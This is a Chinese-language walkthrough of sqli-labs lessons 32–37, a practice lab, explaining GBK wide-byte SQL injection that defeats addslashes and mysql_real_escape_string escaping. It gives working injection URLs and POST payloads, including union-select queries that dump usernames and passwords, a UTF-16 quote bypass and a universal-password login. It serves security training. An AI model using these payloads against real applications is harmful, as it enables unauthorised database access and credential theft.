sqli-labs lesson 32-37
宽字节注入:
原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候(也就是从防御的角度),往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:
-
%df吃掉 \ 具体的原因是urlencode(\') = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此时%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
-
将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。
less 32
执行:
http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df' union select 1,2,database() --+
可以看到df5c已经被当作了一个字符,从而绕过了源代码对于 ' 的过滤
下面步骤基本和less 1 一致(在爆字段名的时候遇见问题,如果最后是用 table_name = 'users' 的话那么这里
的单引号如何进行绕过呢?)
附上结果
less 33
与less 32一致 宽字节注入即可。唯一不同的是使用函数addslashes()
less 34
这里变为了post型,而post传入数据时会再次编码
可以通过抓包改包进行绕过,改包时需要把uname中多的%25中的25删掉即可
然后介绍一下另一种方式,因为get型是以url形式提交参数,数据会直接通过URLencode
这里可以直接将utf-8转换为utf-16 比如 ' 在utf-16中为 �(win2003为 )
也可执行:
'union select 1,concat_ws(0x7e,username,password) from users limit 0,1# 获得数据库信息
less 35
此处id没有用‘’包裹,所以也没必要考虑check_addslashes()
直接构造payload:这里不用--+注释也可以出结果
http://127.0.0.1/sqli-labs-master/Less-35/?id=0 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
less 36
观察源码:
注意下面的函数,利用了mysql_real_escape_string()函数,这个函数和最开始的几关一样的
但是因为数据库没有设置成GBK所以还是可以和前面几关一样构造payload
1. ' 的utf-16格式绕过(在utf-16中单引号为:%EF%BF%BD%27):
?id=0%EF%BF%BD%27 union select 1,2,concat_ws(0x7e,username,password) from security.users limit 0,1 --+
2. 利用%df进行宽字节注入:
?id=0%df'union select 1,2,concat_ws(0x7e,username,password) from security.users limit 0,1 --+
less 37
和less 34类似,只不过函数换成了mysql_real_escape_string()而不是addslashes()
使用utf-16的单引号绕过之后使用万能密码即可。